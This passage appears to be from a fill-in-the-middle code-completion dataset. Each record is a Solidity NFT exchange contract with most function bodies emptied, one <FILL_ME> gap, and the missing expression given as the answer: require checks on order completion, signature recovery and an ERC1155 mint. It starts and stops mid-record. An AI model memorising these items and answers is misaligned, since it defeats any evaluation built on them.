uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
completed[getCompletedKey(order)]!=true,"Signature exist"
227,596
completed[getCompletedKey(order)]!=true
"Incorrect signature"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { require(completed[getCompletedKey(order)] != true, "Signature exist"); if (sig.v == 0 && sig.r == bytes32(0x0) && sig.s == bytes32(0x0)) { revert("incorrect signature"); } else { require(<FILL_ME>) } } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
prepareOrderHash(order).recover(sig.v,sig.r,sig.s)==order.key.owner,"Incorrect signature"
227,596
prepareOrderHash(order).recover(sig.v,sig.r,sig.s)==order.key.owner
"Signature exist"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { require(<FILL_ME>) if (sig.v == 0 && sig.r == bytes32(0x0) && sig.s == bytes32(0x0)) { revert("Incorrect bid signature"); } else { require( prepareBidOrderHash(order, bidder, buyingAmount).recover( sig.v, sig.r, sig.s ) == bidder, "Incorrect bid signature" ); } } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
completed[getBidOrderCompletedKey(order,bidder,buyingAmount)]!=true,"Signature exist"
227,596
completed[getBidOrderCompletedKey(order,bidder,buyingAmount)]!=true
"Incorrect bid signature"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { require( completed[getBidOrderCompletedKey(order, bidder, buyingAmount)] != true, "Signature exist" ); if (sig.v == 0 && sig.r == bytes32(0x0) && sig.s == bytes32(0x0)) { revert("Incorrect bid signature"); } else { require(<FILL_ME>) } } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
prepareBidOrderHash(order,bidder,buyingAmount).recover(sig.v,sig.r,sig.s)==bidder,"Incorrect bid signature"
227,596
prepareBidOrderHash(order,bidder,buyingAmount).recover(sig.v,sig.r,sig.s)==bidder
"TransferSafe:erc1155safeMintTransferFrom:: transaction Failed"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { require(<FILL_ME>) } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferErc20Fee( address token, uint256 amount, address _seller, address buyer, uint256 royaltyFee, address royaltyReceipt ) internal { } function transferFeeView(uint256 amount, uint256 royaltyPcent) public view returns ( uint256, uint256, uint256 ) { } function emitMatchOrder(Order memory order, address buyer) internal { } function cancel(Order calldata order) external { } function validateBuyerFeeSig( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) internal view { } function validateBuyerFeeSigView( Order memory order, uint256 buyerFee, address royaltyReceipt, Sig memory sig ) public pure returns (address) { } function toEthSignedMessageHash(bytes32 hash, Sig memory sig) public pure returns (address signer) { } function setBeneficiary(address payable newBeneficiary) external onlyOwner { } function setBuyerFeeSigner(address newBuyerFeeSigner) external onlyOwner { } function setBeneficiaryFee(uint256 newbeneficiaryfee) external onlyOwner { } function setRoyaltyFeeLimit(uint256 newRoyaltyFeeLimit) external onlyOwner { } function setTokenStatus(address token, bool status) external onlyOwner { } function setMintableStore(address newMintableStore) external onlyOwner { } /** * @dev Rescues random funds stuck that the contract can't handle. * @param _token address of the token to rescue. */ function inCaseTokensGetStuck(address _token) external onlyOwner { } function deposit(IERC20 _token,uint256 _amount) external onlyOwner { } function NFT() external view returns(address){ } }
token.mint(from,to,id,blockExpiry,v,r,s,value,uri),"TransferSafe:erc1155safeMintTransferFrom:: transaction Failed"
227,596
token.mint(from,to,id,blockExpiry,v,r,s,value,uri)
"Signature expired"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { require(<FILL_ME>) require(order.orderType == 1, "Invalid order type"); require(order.key.owner != msg.sender, "Invalid owner"); 